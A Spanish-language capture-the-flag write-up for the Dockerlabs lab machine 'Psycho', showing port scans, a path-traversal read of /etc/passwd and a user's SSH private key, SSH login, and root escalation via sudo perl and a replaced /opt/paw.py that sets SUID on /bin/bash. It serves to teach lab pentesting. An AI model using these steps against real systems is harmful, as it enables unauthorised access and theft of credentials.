



Write-Up: Máquina "Psycho"

📌 Plataforma: Dockerlabs

📌 Dificultad: Fácil

📌 Autor: Joaquín Picazo



Metodología de Pentesting

El proceso se realizó siguiendo la siguiente metodología:

- 1 **Reconocimiento** – Recolección de información general sobre la máquina objetivo.
- 2 **Escaneo y Enumeración** – Identificación de servicios, tecnologías y versiones en uso.
- 3 **Explotación** – Uso de vulnerabilidades encontradas para obtener acceso al sistema.
- 4 **Escalada de Privilegios y Post-Explotación** – Obtención de permisos elevados hasta lograr acceso total para realizar una extracción de información.



1. Reconocimiento y Recolección de Información

Hago un escaneo general para identificar los puertos abiertos.

```
(root@kali)-[/home/cypher/psycho]
# nmap -vvv -p- --open 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-23 12:02 -03
Initiating ARP Ping Scan at 12:02
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 12:02, 0.13s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:02
Completed Parallel DNS resolution of 1 host. at 12:02, 0.06s elapsed
DNS resolution of 1 IPs took 0.06s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:02
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 22/tcp on 172.17.0.2
Completed SYN Stealth Scan at 12:02, 3.63s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000029s latency).
Scanned at 2025-03-23 12:02:34 -03 for 4s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 64
80/tcp    open  http    syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.16 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

2. Escaneo y Enumeración

Hago un escaneo específicamente a los puertos abiertos encontrados anteriormente.

```
(root@kali)-[/home/cypher/psycho]
# nmap -vvv -p 22,80 -sV -sC 172.17.0.2
```

```
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 64    OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 256 38:bb:36:a4:18:60:ee:a8:d1:0a:61:97:6c:83:06:05 (ECDSA)
|_ ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBLmFz6T3XGKWiFPXb0JRYMnpBIhNV4en6M+lkDfe1l/+EjB1+8MtlEy6EFgPI9TZ7aTybt2qudKJ8+r3wcsi8w=
|_ 256 a3:4e:4f:6f:76:f2:ba:50:c6:1a:54:40:95:9c:20:41 (ED25519)
|_ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIhtGV9ya8KY3fjIqNDQcC9RuW20liVFDd+uUEgllPzQ
80/tcp    open  http     syn-ack ttl 64    Apache httpd 2.4.58 ((Ubuntu))
|_ http-title: 4You
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Uso DirBuster para encontrar directorios de la web que corre en el puerto 80.

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

http://172.17.0.2:80/

Scan Information Results - List View: Dirs: 4 Files: 1 Results - Tree View Errors: 0

Type	Found	Response	Size
File	/index.php	200	2833
Dir	/	200	2831
Dir	/icons/	403	445
Dir	/assets/	200	1134
Dir	/icons/small/	403	445
Dir	/server-status/	403	445

Con wfuzz busco algún parámetro válido para acceder a archivos de la web.

```
(root@kali)-[/home/cypher/psycho]
# wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://172.17.0.2/index.php?FUZZ=/etc/passwd --hl 62
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check
Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://172.17.0.2/index.php?FUZZ=/etc/passwd
Total requests: 207643
```

ID	Response	Lines	Word	Chars	Payload
000004819:	200	88 L	199 W	3870 Ch	"secret"

🌟 3. Explotación de Vulnerabilidades

Uso el parámetro encontrado anteriormente en la URL para intentar acceder a /etc/passwd. Al ejecutar eso, se logra obtener los valores de ese archivo en el código fuente de la web. Se ve que hay un usuario llamado "luisillo" y otro llamado "vaxeí"

```
4You x http://172.17.0.2/index.php?s x +
view-source:http://172.17.0.2/index.php?secret=../../../../../../etc/passwd
Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec
49 </section>
50
51 <footer class="bg-dark text-white text-center py-4">
52 <div class="container">
53 <p>&copy; 2024 @Luisillo_o & DockerLabs</p>
54 </div>
55 </footer>
56
57 <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.6/dist/umd/popper.min.js"></script>
58 <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.min.js"></script>
59
60 </body>
61 </html>
62
63 root:x:0:0:root:/root:/bin/bash
64 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
65 bin:x:2:2:bin:/bin:/usr/sbin/nologin
66 sys:x:3:3:sys:/dev:/usr/sbin/nologin
67 sync:x:4:65534:sync:/bin:/bin/sync
68 games:x:5:60:games:/usr/games:/usr/sbin/nologin
69 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
70 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
71 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
72 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
73 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
74 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
75 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
76 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
77 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
78 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
79 _apt:x:42:65534:./nonexistent:/usr/sbin/nologin
80 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
81 ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
82 systemd-network:x:998:998:systemd Network Management:./usr/sbin/nologin
83 systemd-timesync:x:997:997:systemd Time Synchronization:./usr/sbin/nologin
84 messagebus:x:100:102:./nonexistent:/usr/sbin/nologin
85 systemd-resolve:x:996:996:systemd Resolver:./usr/sbin/nologin
86 vaxeí:x:1001:1001:./home/vaxeí:/bin/bash
87 sshd:x:101:65534:./run/sshd:/usr/sbin/nologin
88 luisillo:x:1002:1002:./home/luisillo:/bin/sh
89
```

Como ya se sabe que existe un usuario “luisillo” y otro “vaxeí”, se puede intentar acceder a su clave RSA. Con luisillo no me funcionó, pero si con vaxeí.

```
4You x http://172.17.0.2/index.php?s x +
view-source:http://172.17.0.2/index.php?secret=../../../../../home/vaxeí/.ssh/id_rsa
Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec
61 </html>
62
63 -----BEGIN OPENSSH PRIVATE KEY-----
64 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
100 -----END OPENSSH PRIVATE KEY-----
101
```

Copio la clave RSA y la pego en un archivo llamado “id_rsa”. Con chmod 600 modifiko sus permisos para utilizarla posteriormente para ingresar por SSH.

```
(root@kali)-[/home/cypher/psycho]
# nano id_rsa

(root@kali)-[/home/cypher/psycho]
# chmod 600 id_rsa
```

Ingreso por SSH con el usuario y clave RSA como credenciales. Ingreso exitoso.

```
(root@kali)-[/home/cypher/psycho]
# ssh vaxeii@172.17.0.2 -i id_rsa
The authenticity of host '172.17.0.2' (172.17.0.2) can't be established.
ED25519 key fingerprint is SHA256:KZdmmK93JpQdEgEdRl0JYVD4l+Gdfix6KM9aUmZc1lA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.13-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Aug 10 02:25:09 2024 from 172.17.0.1
vaxeii@ef1029bf0d67:~$ ls
file.txt
vaxeii@ef1029bf0d67:~$ cat file.txt
kflksdfsad
asdsadsad
asdasd
```

4. Escalada de Privilegios y Post-explotación

Uso sudo -l para ver si es que hay alguna posibilidad de escalar privilegios.

```
vaxeii@ef1029bf0d67:~$ sudo -l
Matching Defaults entries for vaxeii on ef1029bf0d67:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User vaxeii may run the following commands on ef1029bf0d67:
  (luisillo) NOPASSWD: /usr/bin/perl
```

Con perl intento pasarme al usuario luisillo y verificar si hay alguna forma de escalar privilegios desde ese usuario. Con sudo -l se pudo ver que con python3 se puede ejecutar un archivo paw.py como si se fuera root.

```
vaxeii@ef1029bf0d67:~$ sudo -u luisillo perl -e 'exec "/bin/bash";'
luisillo@ef1029bf0d67:/home/vaxeii$ whoami
luisillo
luisillo@ef1029bf0d67:/home/vaxeii$ sudo -l
Matching Defaults entries for luisillo on ef1029bf0d67:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User luisillo may run the following commands on ef1029bf0d67:
  (ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py
```

Cambio de nombre del archivo y creo uno nuevo con el mismo nombre para colocar el comando que yo quiero que se ejecute.

```
luisillo@ef1029bf0d67:/opt$ mv paw.py aux.py
```

```
luisillo@ef1029bf0d67:/opt$ nano paw.py
```

En paw.py debe contener: **import os; os.system("chmod u+s /bin/bash")**

Con eso le doy permiso SUID a **/bin/bash**

Luego, ejecuto paw.py con python3, y con "**bash -p**" abro una terminal pero que conserve los permisos root y dejar los permisos de usuario normal.

```
luisillo@ef1029bf0d67:/opt$ sudo /usr/bin/python3 /opt/paw.py
luisillo@ef1029bf0d67:/opt$ bash -p
bash-5.2# whoami
root
bash-5.2#
```

Banderas y Resultados

- ✓ **Usuario:** Se obtuvo acceso como usuario no privilegiado.
- ✓ **Root:** Se logró escalar privilegios hasta obtener control total del sistema.